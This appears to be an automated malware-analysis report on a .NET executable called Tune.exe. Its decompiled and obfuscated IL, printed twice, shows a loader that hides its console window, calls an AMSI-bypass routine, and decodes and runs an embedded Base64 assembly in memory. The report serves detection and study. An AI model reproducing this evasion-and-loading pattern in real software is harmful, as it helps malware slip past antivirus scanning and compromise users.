Malicious
Malicious

Share on LinkedIn
Print
PE Executable
MD5:
Size: 0 B
application/x-dosexec
Ctrl + scroll to zoom · drag to pan

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.
Unlock with Essential
File
Type
Portable Executable file
Detection
PeID
.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual Studio .NET
Symbol obfuscation
Medium
1 malicious · 13 files
EXEde355834b2d835cd45fa25f61fec9d36
Structure
Name Value
Module Name
Tune.exe
Full Name
Tune.exe
EntryPoint
System.Void Tune.Module1::Main(System.String[])
Scope Name
Tune.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
Tune
Assembly Version
22.25.2.3
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
.NETFramework,Version=v4.8
Total Strings
144
Main Method
System.Void Tune.Module1::Main(System.String[])
Main IL Instruction Count
149
Main IL 
ldc.i4 1
stloc V_2
br IL_000E: ldloc V_2
ldloc V_2
switch dnlib.DotNet.Emit.Instruction[]
br IL_02B1: ret
nop <null>
ldsfld System.Threading.ThreadStart Tune.Module1/_Closure$__::$I14-0
brfalse IL_01A2: ldsfld Tune.Module1/_Closure$__ Tune.Module1/_Closure$__::$I
ldc.i4 4
br IL_003D: switch(IL_0168,IL_00D0,IL_00F4,IL_00AD,IL_00C1,IL_01D3,IL_011A,IL_007B,IL_012D,IL_0158,IL_0193,IL_0227,IL_00E3)
ldloc V_5
switch dnlib.DotNet.Emit.Instruction[]
br IL_0168: call System.IntPtr Tune.Module1::GetConsoleWindow()
ldloc.s V_0
call System.Byte[] System.Convert::FromBase64String(System.String)
call System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
callvirt System.Reflection.MethodInfo System.Reflection.Assembly::get_EntryPoint()
stloc.s V_1
ldc.i4 4
ldsfld <Module>{dcde0380-c68e-4603-8b15-3f371b38dc33} <Module>{dcde0380-c68e-4603-8b15-3f371b38dc33}::m_65791e235dc44002bc73240bfdedb6d5
ldfld System.Int32 <Module>{dcde0380-c68e-4603-8b15-3f371b38dc33}::m_defc545fd2a049b194a0257072603b6a
brtrue IL_003D: switch(IL_0168,IL_00D0,IL_00F4,IL_00AD,IL_00C1,IL_01D3,IL_011A,IL_007B,IL_012D,IL_0158,IL_0193,IL_0227,IL_00E3)
pop <null>
ldc.i4 12
br IL_003D: switch(IL_0168,IL_00D0,IL_00F4,IL_00AD,IL_00C1,IL_01D3,IL_011A,IL_007B,IL_012D,IL_0158,IL_0193,IL_0227,IL_00E3)
ldloc.s V_1
ldnull <null>
ldnull <null>
callvirt System.Object System.Reflection.MethodBase::Invoke(System.Object,System.Object[])
pop <null>
ldc.i4 9
br IL_003D: switch(IL_0168,IL_00D0,IL_00F4,IL_00AD,IL_00C1,IL_01D3,IL_011A,IL_007B,IL_012D,IL_0158,IL_0193,IL_0227,IL_00E3)
ldsfld System.Threading.ThreadStart Tune.Module1/_Closure$__::$I14-0
br IL_01B8: newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
br IL_01A2: ldsfld Tune.Module1/_Closure$__ Tune.Module1/_Closure$__::$I
ldloc.s V_0
call System.String Tune.Module1::Clean(System.Object)
stloc.s V_0
ldc.i4 6
br IL_003D: switch(IL_0168,IL_00D0,IL_00F4,IL_00AD,IL_00C1,IL_01D3,IL_011A,IL_007B,IL_012D,IL_0158,IL_0193,IL_0227,IL_00E3)
ldloc.s V_1
brfalse IL_0158: ldc.i4.m1
ldc.i4 3
br IL_003D: switch(IL_0168,IL_00D0,IL_00F4,IL_00AD,IL_00C1,IL_01D3,IL_011A,IL_007B,IL_012D,IL_0158,IL_0193,IL_0227,IL_00E3)
call System.String Tune.My.Resources.Resources::get_Update()
stloc.s V_0
ldc.i4 1
ldsfld <Module>{dcde0380-c68e-4603-8b15-3f371b38dc33} <Module>{dcde0380-c68e-4603-8b15-3f371b38dc33}::m_65791e235dc44002bc73240bfdedb6d5
ldfld System.Int32 <Module>{dcde0380-c68e-4603-8b15-3f371b38dc33}::m_7e51bb969a854d7e82d7544b6d210384
brfalse IL_003D: switch(IL_0168,IL_00D0,IL_00F4,IL_00AD,IL_00C1,IL_01D3,IL_011A,IL_007B,IL_012D,IL_0158,IL_0193,IL_0227,IL_00E3)
pop <null>
ldc.i4 1
br IL_003D: switch(IL_0168,IL_00D0,IL_00F4,IL_00AD,IL_00C1,IL_01D3,IL_011A,IL_007B,IL_012D,IL_0158,IL_0193,IL_0227,IL_00E3)
ldloc.s V_0
call System.String Tune.Module1::FixPadding(System.Object)
stloc.s V_0
ldc.i4 8
br IL_003D: switch(IL_0168,IL_00D0,IL_00F4,IL_00AD,IL_00C1,IL_01D3,IL_011A,IL_007B,IL_012D,IL_0158,IL_0193,IL_0227,IL_00E3)
ldloc.s V_0
call System.Boolean System.String::IsNullOrEmpty(System.String)
brtrue IL_0158: ldc.i4.m1
ldc.i4 7
ldsfld <Module>{dcde0380-c68e-4603-8b15-3f371b38dc33} <Module>{dcde0380-c68e-4603-8b15-3f371b38dc33}::m_65791e235dc44002bc73240bfdedb6d5
ldfld System.Int32 <Module>{dcde0380-c68e-4603-8b15-3f371b38dc33}::m_d3ed4bb9697a46fa94f4aaa6ac493bef
brtrue IL_003D: switch(IL_0168,IL_00D0,IL_00F4,IL_00AD,IL_00C1,IL_01D3,IL_011A,IL_007B,IL_012D,IL_0158,IL_0193,IL_0227,IL_00E3)
pop <null>
ldc.i4 1
br IL_003D: switch(IL_0168,IL_00D0,IL_00F4,IL_00AD,IL_00C1,IL_01D3,IL_011A,IL_007B,IL_012D,IL_0158,IL_0193,IL_0227,IL_00E3)
ldc.i4.m1 <null>
call System.Void System.Threading.Thread::Sleep(System.Int32)
ldc.i4 11
br IL_003D: switch(IL_0168,IL_00D0,IL_00F4,IL_00AD,IL_00C1,IL_01D3,IL_011A,IL_007B,IL_012D,IL_0158,IL_0193,IL_0227,IL_00E3)
call System.IntPtr Tune.Module1::GetConsoleWindow()
ldc.i4.0 <null>
call System.Boolean Tune.Module1::ShowWindow(System.IntPtr,System.Int32)
pop <null>
ldc.i4 0
ldsfld <Module>{dcde0380-c68e-4603-8b15-3f371b38dc33} <Module>{dcde0380-c68e-4603-8b15-3f371b38dc33}::m_65791e235dc44002bc73240bfdedb6d5
ldfld System.Int32 <Module>{dcde0380-c68e-4603-8b15-3f371b38dc33}::m_1081c3ec0b69442f946ba75854d86908
brtrue IL_003D: switch(IL_0168,IL_00D0,IL_00F4,IL_00AD,IL_00C1,IL_01D3,IL_011A,IL_007B,IL_012D,IL_0158,IL_0193,IL_0227,IL_00E3)
pop <null>
ldc.i4 2
br IL_003D: switch(IL_0168,IL_00D0,IL_00F4,IL_00AD,IL_00C1,IL_01D3,IL_011A,IL_007B,IL_012D,IL_0158,IL_0193,IL_0227,IL_00E3)
call System.Void Tune.Module1::BypassAMSI()
ldc.i4 5
br IL_003D: switch(IL_0168,IL_00D0,IL_00F4,IL_00AD,IL_00C1,IL_01D3,IL_011A,IL_007B,IL_012D,IL_0158,IL_0193,IL_0227,IL_00E3)
ldsfld Tune.Module1/_Closure$__ Tune.Module1/_Closure$__::$I
ldftn System.Void Tune.Module1/_Closure$__::_Lambda$__14-0()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
dup <null>
stsfld System.Threading.ThreadStart Tune.Module1/_Closure$__::$I14-0
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Threading.Thread::set_IsBackground(System.Boolean)
callvirt System.Void System.Threading.Thread::Start()
ldc.i4 10
br IL_003D: switch(IL_0168,IL_00D0,IL_00F4,IL_00AD,IL_00C1,IL_01D3,IL_011A,IL_007B,IL_012D,IL_0158,IL_0193,IL_0227,IL_00E3)
ldarg.0 <null>
ldsfld System.Func`2<System.String,System.Boolean> Tune.Module1/_Closure$__::$I14-1
brfalse IL_01E8: ldsfld Tune.Module1/_Closure$__ Tune.Module1/_Closure$__::$I
ldsfld System.Func`2<System.String,System.Boolean> Tune.Module1/_Closure$__::$I14-1
br IL_01FE: call System.Boolean System.Linq.Enumerable::Any<System.String>(System.Collections.Generic.IEnumerable`1<System.String>,System.Func`2<System.String,System.Boolean>)
ldsfld Tune.Module1/_Closure$__ Tune.Module1/_Closure$__::$I
ldftn System.Boolean Tune.Module1/_Closure$__::_Lambda$__14-1(System.String)
newobj System.Void System.Func`2<System.String,System.Boolean>::.ctor(System.Object,System.IntPtr)
dup <null>
stsfld System.Func`2<System.String,System.Boolean> Tune.Module1/_Closure$__::$I14-1
call System.Boolean System.Linq.Enumerable::Any<System.String>(System.Collections.Generic.IEnumerable`1<System.String>,System.Func`2<System.String,System.Boolean>)
brfalse IL_00F4: call System.String Tune.My.Resources.Resources::get_Update()
ldc.i4 0
ldsfld <Module>{dcde0380-c68e-4603-8b15-3f371b38dc33} <Module>{dcde0380-c68e-4603-8b15-3f371b38dc33}::m_65791e235dc44002bc73240bfdedb6d5
ldfld System.Int32 <Module>{dcde0380-c68e-4603-8b15-3f371b38dc33}::m_8879dda10d0348f6b41b0c2d21232ba4
brtrue IL_003D: switch(IL_0168,IL_00D0,IL_00F4,IL_00AD,IL_00C1,IL_01D3,IL_011A,IL_007B,IL_012D,IL_0158,IL_0193,IL_0227,IL_00E3)
pop <null>
ldc.i4 0
br IL_003D: switch(IL_0168,IL_00D0,IL_00F4,IL_00AD,IL_00C1,IL_01D3,IL_011A,IL_007B,IL_012D,IL_0158,IL_0193,IL_0227,IL_00E3)
br IL_0158: ldc.i4.m1
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_4
ldc.i4 0
ldsfld <Module>{dcde0380-c68e-4603-8b15-3f371b38dc33} <Module>{dcde0380-c68e-4603-8b15-3f371b38dc33}::m_65791e235dc44002bc73240bfdedb6d5
ldfld System.Int32 <Module>{dcde0380-c68e-4603-8b15-3f371b38dc33}::m_b9cb0551c39d478c975c6ea5bd64dcf1
brfalse IL_0257: switch(IL_028D,IL_0269)
pop <null>
ldc.i4 1
br IL_0257: switch(IL_028D,IL_0269)
ldloc V_3
switch dnlib.DotNet.Emit.Instruction[]
br IL_028D: leave IL_02B1
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
ldc.i4 0
ldsfld <Module>{dcde0380-c68e-4603-8b15-3f371b38dc33} <Module>{dcde0380-c68e-4603-8b15-3f371b38dc33}::m_65791e235dc44002bc73240bfdedb6d5
ldfld System.Int32 <Module>{dcde0380-c68e-4603-8b15-3f371b38dc33}::m_6aea91b7bb08429bb3f86e9558db86e3
brfalse IL_0257: switch(IL_028D,IL_0269)
pop <null>
ldc.i4 0
br IL_0257: switch(IL_028D,IL_0269)
leave IL_02B1: ret
ldc.i4 0
ldsfld <Module>{dcde0380-c68e-4603-8b15-3f371b38dc33} <Module>{dcde0380-c68e-4603-8b15-3f371b38dc33}::m_65791e235dc44002bc73240bfdedb6d5
ldfld System.Int32 <Module>{dcde0380-c68e-4603-8b15-3f371b38dc33}::m_e328dcbd48a0406d8f1b6a91a9016b52
brtrue IL_0012: switch(IL_02B1,IL_0024)
pop <null>
ldc.i4 0
br IL_0012: switch(IL_02B1,IL_0024)
ret <null>
Module Name
Tune.exe
Full Name
Tune.exe
EntryPoint
System.Void Tune.Module1::Main(System.String[])
Scope Name
Tune.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
Tune
Assembly Version
22.25.2.3
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
.NETFramework,Version=v4.8
Total Strings
144
Main Method
System.Void Tune.Module1::Main(System.String[])
Main IL Instruction Count
149
Main IL 
ldc.i4 1
stloc V_2
br IL_000E: ldloc V_2
ldloc V_2
switch dnlib.DotNet.Emit.Instruction[]
br IL_02B1: ret
nop <null>
ldsfld System.Threading.ThreadStart Tune.Module1/_Closure$__::$I14-0
brfalse IL_01A2: ldsfld Tune.Module1/_Closure$__ Tune.Module1/_Closure$__::$I
ldc.i4 4
br IL_003D: switch(IL_0168,IL_00D0,IL_00F4,IL_00AD,IL_00C1,IL_01D3,IL_011A,IL_007B,IL_012D,IL_0158,IL_0193,IL_0227,IL_00E3)
ldloc V_5
switch dnlib.DotNet.Emit.Instruction[]
br IL_0168: call System.IntPtr Tune.Module1::GetConsoleWindow()
ldloc.s V_0
call System.Byte[] System.Convert::FromBase64String(System.String)
call System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
callvirt System.Reflection.MethodInfo System.Reflection.Assembly::get_EntryPoint()
stloc.s V_1
ldc.i4 4
ldsfld <Module>{dcde0380-c68e-4603-8b15-3f371b38dc33} <Module>{dcde0380-c68e-4603-8b15-3f371b38dc33}::m_65791e235dc44002bc73240bfdedb6d5
ldfld System.Int32 <Module>{dcde0380-c68e-4603-8b15-3f371b38dc33}::m_defc545fd2a049b194a0257072603b6a
brtrue IL_003D: switch(IL_0168,IL_00D0,IL_00F4,IL_00AD,IL_00C1,IL_01D3,IL_011A,IL_007B,IL_012D,IL_0158,IL_0193,IL_0227,IL_00E3)
pop <null>
ldc.i4 12
br IL_003D: switch(IL_0168,IL_00D0,IL_00F4,IL_00AD,IL_00C1,IL_01D3,IL_011A,IL_007B,IL_012D,IL_0158,IL_0193,IL_0227,IL_00E3)
ldloc.s V_1
ldnull <null>
ldnull <null>
callvirt System.Object System.Reflection.MethodBase::Invoke(System.Object,System.Object[])
pop <null>
ldc.i4 9
br IL_003D: switch(IL_0168,IL_00D0,IL_00F4,IL_00AD,IL_00C1,IL_01D3,IL_011A,IL_007B,IL_012D,IL_0158,IL_0193,IL_0227,IL_00E3)
ldsfld System.Threading.ThreadStart Tune.Module1/_Closure$__::$I14-0
br IL_01B8: newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
br IL_01A2: ldsfld Tune.Module1/_Closure$__ Tune.Module1/_Closure$__::$I
ldloc.s V_0
call System.String Tune.Module1::Clean(System.Object)
stloc.s V_0
ldc.i4 6
br IL_003D: switch(IL_0168,IL_00D0,IL_00F4,IL_00AD,IL_00C1,IL_01D3,IL_011A,IL_007B,IL_012D,IL_0158,IL_0193,IL_0227,IL_00E3)
ldloc.s V_1
brfalse IL_0158: ldc.i4.m1
ldc.i4 3
br IL_003D: switch(IL_0168,IL_00D0,IL_00F4,IL_00AD,IL_00C1,IL_01D3,IL_011A,IL_007B,IL_012D,IL_0158,IL_0193,IL_0227,IL_00E3)
call System.String Tune.My.Resources.Resources::get_Update()
stloc.s V_0
ldc.i4 1
ldsfld <Module>{dcde0380-c68e-4603-8b15-3f371b38dc33} <Module>{dcde0380-c68e-4603-8b15-3f371b38dc33}::m_65791e235dc44002bc73240bfdedb6d5
ldfld System.Int32 <Module>{dcde0380-c68e-4603-8b15-3f371b38dc33}::m_7e51bb969a854d7e82d7544b6d210384
brfalse IL_003D: switch(IL_0168,IL_00D0,IL_00F4,IL_00AD,IL_00C1,IL_01D3,IL_011A,IL_007B,IL_012D,IL_0158,IL_0193,IL_0227,IL_00E3)
pop <null>
ldc.i4 1
br IL_003D: switch(IL_0168,IL_00D0,IL_00F4,IL_00AD,IL_00C1,IL_01D3,IL_011A,IL_007B,IL_012D,IL_0158,IL_0193,IL_0227,IL_00E3)
ldloc.s V_0
call System.String Tune.Module1::FixPadding(System.Object)
stloc.s V_0
ldc.i4 8
br IL_003D: switch(IL_0168,IL_00D0,IL_00F4,IL_00AD,IL_00C1,IL_01D3,IL_011A,IL_007B,IL_012D,IL_0158,IL_0193,IL_0227,IL_00E3)
ldloc.s V_0
call System.Boolean System.String::IsNullOrEmpty(System.String)
brtrue IL_0158: ldc.i4.m1
ldc.i4 7
ldsfld <Module>{dcde0380-c68e-4603-8b15-3f371b38dc33} <Module>{dcde0380-c68e-4603-8b15-3f371b38dc33}::m_65791e235dc44002bc73240bfdedb6d5
ldfld System.Int32 <Module>{dcde0380-c68e-4603-8b15-3f371b38dc33}::m_d3ed4bb9697a46fa94f4aaa6ac493bef
brtrue IL_003D: switch(IL_0168,IL_00D0,IL_00F4,IL_00AD,IL_00C1,IL_01D3,IL_011A,IL_007B,IL_012D,IL_0158,IL_0193,IL_0227,IL_00E3)
pop <null>
ldc.i4 1
br IL_003D: switch(IL_0168,IL_00D0,IL_00F4,IL_00AD,IL_00C1,IL_01D3,IL_011A,IL_007B,IL_012D,IL_0158,IL_0193,IL_0227,IL_00E3)
ldc.i4.m1 <null>
call System.Void System.Threading.Thread::Sleep(System.Int32)
ldc.i4 11
br IL_003D: switch(IL_0168,IL_00D0,IL_00F4,IL_00AD,IL_00C1,IL_01D3,IL_011A,IL_007B,IL_012D,IL_0158,IL_0193,IL_0227,IL_00E3)
call System.IntPtr Tune.Module1::GetConsoleWindow()
ldc.i4.0 <null>
call System.Boolean Tune.Module1::ShowWindow(System.IntPtr,System.Int32)
pop <null>
ldc.i4 0
ldsfld <Module>{dcde0380-c68e-4603-8b15-3f371b38dc33} <Module>{dcde0380-c68e-4603-8b15-3f371b38dc33}::m_65791e235dc44002bc73240bfdedb6d5
ldfld System.Int32 <Module>{dcde0380-c68e-4603-8b15-3f371b38dc33}::m_1081c3ec0b69442f946ba75854d86908
brtrue IL_003D: switch(IL_0168,IL_00D0,IL_00F4,IL_00AD,IL_00C1,IL_01D3,IL_011A,IL_007B,IL_012D,IL_0158,IL_0193,IL_0227,IL_00E3)
pop <null>
ldc.i4 2
br IL_003D: switch(IL_0168,IL_00D0,IL_00F4,IL_00AD,IL_00C1,IL_01D3,IL_011A,IL_007B,IL_012D,IL_0158,IL_0193,IL_0227,IL_00E3)
call System.Void Tune.Module1::BypassAMSI()
ldc.i4 5
br IL_003D: switch(IL_0168,IL_00D0,IL_00F4,IL_00AD,IL_00C1,IL_01D3,IL_011A,IL_007B,IL_012D,IL_0158,IL_0193,IL_0227,IL_00E3)
ldsfld Tune.Module1/_Closure$__ Tune.Module1/_Closure$__::$I
ldftn System.Void Tune.Module1/_Closure$__::_Lambda$__14-0()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
dup <null>
stsfld System.Threading.ThreadStart Tune.Module1/_Closure$__::$I14-0
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Threading.Thread::set_IsBackground(System.Boolean)
callvirt System.Void System.Threading.Thread::Start()
ldc.i4 10
br IL_003D: switch(IL_0168,IL_00D0,IL_00F4,IL_00AD,IL_00C1,IL_01D3,IL_011A,IL_007B,IL_012D,IL_0158,IL_0193,IL_0227,IL_00E3)
ldarg.0 <null>
ldsfld System.Func`2<System.String,System.Boolean> Tune.Module1/_Closure$__::$I14-1
brfalse IL_01E8: ldsfld Tune.Module1/_Closure$__ Tune.Module1/_Closure$__::$I
ldsfld System.Func`2<System.String,System.Boolean> Tune.Module1/_Closure$__::$I14-1
br IL_01FE: call System.Boolean System.Linq.Enumerable::Any<System.String>(System.Collections.Generic.IEnumerable`1<System.String>,System.Func`2<System.String,System.Boolean>)
ldsfld Tune.Module1/_Closure$__ Tune.Module1/_Closure$__::$I
ldftn System.Boolean Tune.Module1/_Closure$__::_Lambda$__14-1(System.String)
newobj System.Void System.Func`2<System.String,System.Boolean>::.ctor(System.Object,System.IntPtr)
dup <null>
stsfld System.Func`2<System.String,System.Boolean> Tune.Module1/_Closure$__::$I14-1
call System.Boolean System.Linq.Enumerable::Any<System.String>(System.Collections.Generic.IEnumerable`1<System.String>,System.Func`2<System.String,System.Boolean>)
brfalse IL_00F4: call System.String Tune.My.Resources.Resources::get_Update()
ldc.i4 0
ldsfld <Module>{dcde0380-c68e-4603-8b15-3f371b38dc33} <Module>{dcde0380-c68e-4603-8b15-3f371b38dc33}::m_65791e235dc44002bc73240bfdedb6d5
ldfld System.Int32 <Module>{dcde0380-c68e-4603-8b15-3f371b38dc33}::m_8879dda10d0348f6b41b0c2d21232ba4
brtrue IL_003D: switch(IL_0168,IL_00D0,IL_00F4,IL_00AD,IL_00C1,IL_01D3,IL_011A,IL_007B,IL_012D,IL_0158,IL_0193,IL_0227,IL_00E3)
pop <null>
ldc.i4 0
br IL_003D: switch(IL_0168,IL_00D0,IL_00F4,IL_00AD,IL_00C1,IL_01D3,IL_011A,IL_007B,IL_012D,IL_0158,IL_0193,IL_0227,IL_00E3)
br IL_0158: ldc.i4.m1
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_4
ldc.i4 0
ldsfld <Module>{dcde0380-c68e-4603-8b15-3f371b38dc33} <Module>{dcde0380-c68e-4603-8b15-3f371b38dc33}::m_65791e235dc44002bc73240bfdedb6d5
ldfld System.Int32 <Module>{dcde0380-c68e-4603-8b15-3f371b38dc33}::m_b9cb0551c39d478c975c6ea5bd64dcf1
brfalse IL_0257: switch(IL_028D,IL_0269)
pop <null>
ldc.i4 1
br IL_0257: switch(IL_028D,IL_0269)
ldloc V_3
switch dnlib.DotNet.Emit.Instruction[]
br IL_028D: leave IL_02B1
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
ldc.i4 0
ldsfld <Module>{dcde0380-c68e-4603-8b15-3f371b38dc33} <Module>{dcde0380-c68e-4603-8b15-3f371b38dc33}::m_65791e235dc44002bc73240bfdedb6d5
ldfld System.Int32 <Module>{dcde0380-c68e-4603-8b15-3f371b38dc33}::m_6aea91b7bb08429bb3f86e9558db86e3
brfalse IL_0257: switch(IL_028D,IL_0269)
pop <null>
ldc.i4 0
br IL_0257: switch(IL_028D,IL_0269)
leave IL_02B1: ret
ldc.i4 0
ldsfld <Module>{dcde0380-c68e-4603-8b15-3f371b38dc33} <Module>{dcde0380-c68e-4603-8b15-3f371b38dc33}::m_65791e235dc44002bc73240bfdedb6d5
ldfld System.Int32 <Module>{dcde0380-c68e-4603-8b15-3f371b38dc33}::m_e328dcbd48a0406d8f1b6a91a9016b52
brtrue IL_0012: switch(IL_02B1,IL_0024)
pop <null>
ldc.i4 0
br IL_0012: switch(IL_02B1,IL_0024)
ret <null>
Embedded Resources UNKNWOWNsuspect
5huhuhuhu
Suspicious Type Names (1-2 chars) UNKNWOWN
0huhuhuhu
Full artefact values (URLs, paths, registry keys, scripts…) are available with Essential.
Unlock with Essential
An error has occurred. This application may no longer respond until reloaded. Reload 🗙